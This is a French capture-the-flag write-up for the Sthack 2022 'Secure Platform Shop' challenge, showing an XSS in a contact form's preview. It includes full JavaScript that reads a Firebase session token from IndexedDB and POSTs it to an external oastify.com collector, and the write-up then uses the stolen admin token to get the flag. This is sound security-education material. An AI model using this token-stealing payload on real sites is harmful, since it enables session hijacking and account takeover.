Root du Rhum
<-- home

Sthack 2022 / SPS

May 20, 2022

Secure Platform Shop

Nous accédons au challenge et découvrons la page d’accueil.

img.png

Nous constatons qu’un formulaire de contact est présent. De plus, il est possible de prévisualiser le message envoyé. Nous injectons d’abord du code HTML afin de vérifier s’il est interprété.

img_1.png

Nous constatons que le code HTML est interprété. Nous tentons désormais d’exécuter du code Javascript.

img_2.png

Le code Javascript est bien interprété. Nous sommes donc en présence d’une faille de type XSS.

Nous constatons qu’il est possible de créer un compte sur l’application.

img_3.png

Nous créons donc un compte et nous connectons. Nous cherchons à savoir comment fonctionne le mécanisme de maintien de session. Aucun jeton n’est présent dans le local storage ni dans le session storage. Nous constatons qu’un objet firebaseLocalStorage est présent dans le stockage IndexedDB du navigateur.

img_4.png

Nous écrivons donc un script Javascript permettant de lire l’objet Firebase contenu dans la base de données et de l’envoyer sur un serveur nous appartenant. La communication avec IndexedDB a été rédigée grâce à la documentation MDN.

var open = indexedDB.open("firebaseLocalStorageDb", 1);

// Create the schema
open.onupgradeneeded = function() {
    var db = open.result;
};

open.onsuccess = function() {
    // Start a new transaction
    var db = open.result;
    var transaction = db.transaction(["firebaseLocalStorage"]);
    var objectStore = transaction.objectStore("firebaseLocalStorage");
    var request = objectStore.getAllKeys()

    request.onerror = function(event) {
        console.log("Echec de la requête !");
    }

    request.onsuccess = function(event) {
        if (request.result) {
            const key = request.result[0];
            const req2 = objectStore.get(key)

            req2.onerror = function(event) {
                console.log("Echec de la requête !");
            }

            req2.onsuccess = function(event) {
                if (req2.result) {
                    const token = req2.result.value
                    fetch("https://l9vt4knt6pdu3jub6slnilap3g96xv.oastify.com", {
                        method: "POST",
                        body: JSON.stringify(token)
                    })

                }
            }

        } else {
            console.log("Aucune entrée disponible");
        }
    };

    // Close the db when the transaction is done
    transaction.oncomplete = function() {
        db.close();
    };
}

Nous minifions ce code et l’intégrons dans un message à envoyer à l’administrateur via le formulaire de contact. Ce script sera exécuté sur le navigateur de l’administrateur grâce à la faille XSS.

img_7.png

Nous recevons ensuite une requête.

img_5.png

Celle-ci contient bien le jeton de l’administrateur. Nous remplaçons ensuite notre jeton par celui obtenu, dans la requête vers la route /flag.

img_6.png

Nous récupérons le flag.